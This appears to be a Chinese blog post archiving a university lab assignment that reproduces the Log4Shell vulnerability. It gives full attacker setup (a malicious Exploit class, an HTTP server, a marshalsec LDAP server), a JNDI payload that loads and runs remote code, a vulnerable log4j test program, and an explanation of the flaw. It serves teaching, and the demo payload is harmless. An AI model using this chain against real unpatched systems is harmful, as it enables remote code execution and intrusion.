原创 · 2024年11月10日 3

CVE-2021-44228复现

前言:这是安徽大学 “漏洞分析实验”(大三秋冬)期中作业归档。代码及ppt托管于Github: https://github.com/Super-Binary/cve-2021-44228

目录:

  1. 攻击环境搭建
  2. 受害环境搭建
  3. 漏洞原理
  4. Q&A

一、攻击环境搭建

本次使用的攻击环境如下:

  • Ubuntu 22.04.1 LTS VPS
  • Apache Maven 3.6.3
  • OpenJDK 1.8.0_422(即Java8)
  • Python 3.10.6
  • 放行端口8888(TCP,http服务器端口)
  • 放行端口1389(TCP,LDAP服务端口)

首先在测试用目录(出于方便在此使用/root/test)下创建一个漏洞利用类Exploit.java如下:

Java
import java.io.IOException;

/**
 * @author KaleidScoper
 */

public class Exploit {
    static {
        try {

            Runtime.getRuntime().exec("cmd.exe /c mshta vbscript:msgbox(\"少爷,该启动原神了\",64,\"来自log4j的消息\")(window.close)");
            String shortcutPath = "C:\\Users\\此处填写用户文件夹名\\Desktop\\原神.lnk";
            Runtime.getRuntime().exec("cmd.exe /c start " + shortcutPath);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

然后使用javac命令将其编译为Exploit.class待用。其中写入的两条cmd命令是针对Windows系统的,如果你的受害环境没有使用Windows,请按需将其更改。在本例中,第一条指令打开了Windows消息窗口显示文本,第二条指令启动了位于桌面的一个快捷方式。

然后我们启动一个临时python http服务器,挂在后台运行:

python -m http.server 8888 &
Bash

使用ps命令可以看到该进程(显示为python)的进程号。

现在使用marshalsec搭建LDAP服务。首先从Github下载该工具:

git clone https://github.com/mbechler/marshalsec.git
Bash

假设你的VPS无法访问Github,可以直接自己去克隆这个库,然后用ftp之类的工具上传至VPS也是一样的效果,不再赘述。假设你已经成功下载了marshalsec。

现在进入marshalsec文件夹:

cd marshalsec
Bash

跳过测试,并编译该工具:(mvn命令可通过apt install maven安装)

mvn clean package -DskipTests
Bash

现在启动LDAP服务,攻击环境就搭建完毕了:(这个就不必后台运行了)

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://IP地址:8888/#Exploit"

其中“IP地址”改为你使用的攻击者VPS的ip地址;8888为python服务器的监听端口。

LDAP的默认监听端口为1389,故构建以下攻击Payload:

${jndi:ldap://IP地址:1389/Exploit}

稍后我们将把它输入受害者程序来完成攻击。

二、受害环境搭建

本次使用的受害环境如下:(也就是我的电脑)

  • Windows 11
  • Apache Maven 3.9.9
  • OpenJDK 1.8.0_261

首先在测试用目录(出于方便在此使用D:\test)下创建一个mvn项目配置文件pom.xml如下:

XML
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    

    <groupId>com.example</groupId>
    <artifactId>log4j-demo</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <!-- Log4j Core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>

        <!-- Log4j API -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.codehaus.mojo</groupId>
                <artifactId>exec-maven-plugin</artifactId>
                <version>3.0.0</version>
                <configuration>
                    <!-- 主类名称 -->
                    <mainClass>log4j</mainClass>
                </configuration>
            </plugin>
        </plugins>
    </build>
</project>

在该配置文件中使用了log4j-core 2.14.1和log4j-api 2.14.1,是受CVE-2021-44228影响的log4j版本。此处将主类名称定义为即将编写的log4j类。

mvn项目除了需要一个pom.xml配置文件,还需要我们手动在D:\test目录下再创造一个路径src\main\java。然后在此新建路径下创建受害者程序主类log4j.java,目前为止的完整文件树状图如下:

D:\test
├───src
   └───main
       └───java
           └───log4j.java
└───pom.xml

创建的log4j.java文件内容如下:

Java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @author KaleidScoper
 */

public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        logger.error("${jndi:ldap://testgames.me:1389/Exploit}");
    }
}

实际情况下,攻击语句 ${jndi:ldap://testgames.me:1389/Exploit} 应该是由恶意用户输入的。但为了方便演示,在此处,我们是将攻击语句硬编码入受害程序的,效果是一样的。

现在我们编译并运行此程序:

 mvn compile exec:java
Bash

如果你的http服务、LDAP服务运行正常,远程Exploit就会立即执行。

三、漏洞原理

LDAP(Lightweight Directory Access Protocol,轻型目录访问协议)是一个开放的、中立的、工业标准的应用协议,通过 TCP/IP 协议提供访问控制和维护分布式信息的目录服务,可以通过 LDAP 协议来访问网络资源,可以看成一个树形的数据库。

JNDI 的目的是通过名称 / 目录获取对象,而远程读取的一般是编译后的 .class 文件所以在 lookup 时会进行类加载,JVM 将其加载为 Java 类。而当 ClassLoader 加载 .class 文件的时候会调用类的 clinit 方法,执行类的静态代码。因此如果可以控制 JNDI lookup 的 URL,便可以任意加载远程类,执行恶意代码,这也就是 JNDI 注入原理。

但是 JNDI 注入受到 JDK 配置限制,如果 com.sun.jndi.xxx.object.trustURLCodebase 这一配置是 false 时则不会信任 URL 从而无法进行 JNDI 注入。在 JDK 11.0.1、8u191、7u201、6u211 等版本中这一配置默认是 true,而从 6u132、7u122、8u113 开始,这一配置默认为 false(因此后面使用高版本 JDK 复现时要手动开启这一配置)

CVE-2021-44228 即是通过 log4j 来实现了 JNDI 注入。log4j 可以通过 ${} 语法来获取动态内容并输出到日志中,其中对于每个 ${} 部分使用 lookup 方法来解决变量,其中也提供了 JndiLookup,也就是说可以使用 JNDI 来读取内容,形如 ${jndi:…}。这时就存在 JNDI 注入。

而大部分使用 log4j 来记录日志的网络应用都会记录用户的输入,比如搜索网站会记录用户搜索的内容,这时如果用户输入的是 ${jndi:…}(比如 ${jndi:ldap://ip:port/…}) 就会进行 JndiLookup,实现 JNDI 注入,这也就是 CVE-2021-44228 这个漏洞的原理。

四、Q&A

Q:受害者应用启动成功,但是直接以文本输出了攻击Payload [log4j.main()] ERROR log4j – ${jndi:ldap://testgames.me:1389/Exploit} 这是为什么?

A:这可能说明你的http服务、LDAP服务运行不正常,或者只是单纯的网络问题。在受害者环境,你可以在浏览器访问http://你的VPS地址:8888/Exploit.class,如果触发了文件下载,说明此项服务正常开启;对于LDAP,你可以使用命令telnet 你的VPS地址 1389来测试受害者能否与此端口通信。当发现无法连接时,请试着重新启动攻击者的两个服务、或者查看8888与1389端口是否正确放行。